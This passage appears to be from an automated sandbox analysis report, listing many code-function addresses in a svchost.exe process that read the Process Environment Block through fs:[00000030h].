Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]	2_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]	2_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]	2_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]	2_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031062D6 mov eax, dword ptr fs:[00000030h]	2_2_031062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov eax, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DE10E mov ecx, dword ptr fs:[00000030h]	2_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov ecx, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F0115 mov eax, dword ptr fs:[00000030h]	2_2_030F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060124 mov eax, dword ptr fs:[00000030h]	2_2_03060124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov ecx, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C156 mov eax, dword ptr fs:[00000030h]	2_2_0302C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C8158 mov eax, dword ptr fs:[00000030h]	2_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]	2_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]	2_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104164 mov eax, dword ptr fs:[00000030h]	2_2_03104164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104164 mov eax, dword ptr fs:[00000030h]	2_2_03104164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03070185 mov eax, dword ptr fs:[00000030h]	2_2_03070185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]	2_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]	2_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]	2_2_030D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]	2_2_030D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]	2_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]	2_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031061E5 mov eax, dword ptr fs:[00000030h]	2_2_031061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030601F8 mov eax, dword ptr fs:[00000030h]	2_2_030601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4000 mov ecx, dword ptr fs:[00000030h]	2_2_030B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A020 mov eax, dword ptr fs:[00000030h]	2_2_0302A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C020 mov eax, dword ptr fs:[00000030h]	2_2_0302C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6030 mov eax, dword ptr fs:[00000030h]	2_2_030C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032050 mov eax, dword ptr fs:[00000030h]	2_2_03032050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6050 mov eax, dword ptr fs:[00000030h]	2_2_030B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305C073 mov eax, dword ptr fs:[00000030h]	2_2_0305C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303208A mov eax, dword ptr fs:[00000030h]	2_2_0303208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030280A0 mov eax, dword ptr fs:[00000030h]	2_2_030280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C80A8 mov eax, dword ptr fs:[00000030h]	2_2_030C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F60B8 mov eax, dword ptr fs:[00000030h]	2_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B20DE mov eax, dword ptr fs:[00000030h]	2_2_030B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0302A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030380E9 mov eax, dword ptr fs:[00000030h]	2_2_030380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B60E0 mov eax, dword ptr fs:[00000030h]	2_2_030B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0302C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030720F0 mov ecx, dword ptr fs:[00000030h]	2_2_030720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C700 mov eax, dword ptr fs:[00000030h]	2_2_0306C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030710 mov eax, dword ptr fs:[00000030h]	2_2_03030710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060710 mov eax, dword ptr fs:[00000030h]	2_2_03060710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]	2_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]	2_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov ecx, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AC730 mov eax, dword ptr fs:[00000030h]	2_2_030AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov esi, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030750 mov eax, dword ptr fs:[00000030h]	2_2_03030750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE75D mov eax, dword ptr fs:[00000030h]	2_2_030BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]	2_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]	2_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4755 mov eax, dword ptr fs:[00000030h]	2_2_030B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038770 mov eax, dword ptr fs:[00000030h]	2_2_03038770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D678E mov eax, dword ptr fs:[00000030h]	2_2_030D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030307AF mov eax, dword ptr fs:[00000030h]	2_2_030307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E47A0 mov eax, dword ptr fs:[00000030h]	2_2_030E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B07C3 mov eax, dword ptr fs:[00000030h]	2_2_030B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_030BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]	2_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]	2_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE609 mov eax, dword ptr fs:[00000030h]	2_2_030AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072619 mov eax, dword ptr fs:[00000030h]	2_2_03072619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E627 mov eax, dword ptr fs:[00000030h]	2_2_0304E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03066620 mov eax, dword ptr fs:[00000030h]	2_2_03066620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068620 mov eax, dword ptr fs:[00000030h]	2_2_03068620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303262C mov eax, dword ptr fs:[00000030h]	2_2_0303262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304C640 mov eax, dword ptr fs:[00000030h]	2_2_0304C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]	2_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]	2_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]	2_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]	2_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03062674 mov eax, dword ptr fs:[00000030h]	2_2_03062674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]	2_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]	2_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0306C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030666B0 mov eax, dword ptr fs:[00000030h]	2_2_030666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]	2_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]	2_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6500 mov eax, dword ptr fs:[00000030h]	2_2_030C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]	2_2_03038550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]	2_2_03038550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]	2_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]	2_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]	2_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032582 mov eax, dword ptr fs:[00000030h]	2_2_03032582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032582 mov ecx, dword ptr fs:[00000030h]	2_2_03032582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064588 mov eax, dword ptr fs:[00000030h]	2_2_03064588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E59C mov eax, dword ptr fs:[00000030h]	2_2_0306E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]	2_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]	2_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]	2_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]	2_2_030545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]	2_2_030545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]	2_2_0306E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]	2_2_0306E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030365D0 mov eax, dword ptr fs:[00000030h]	2_2_030365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0306A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0306A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
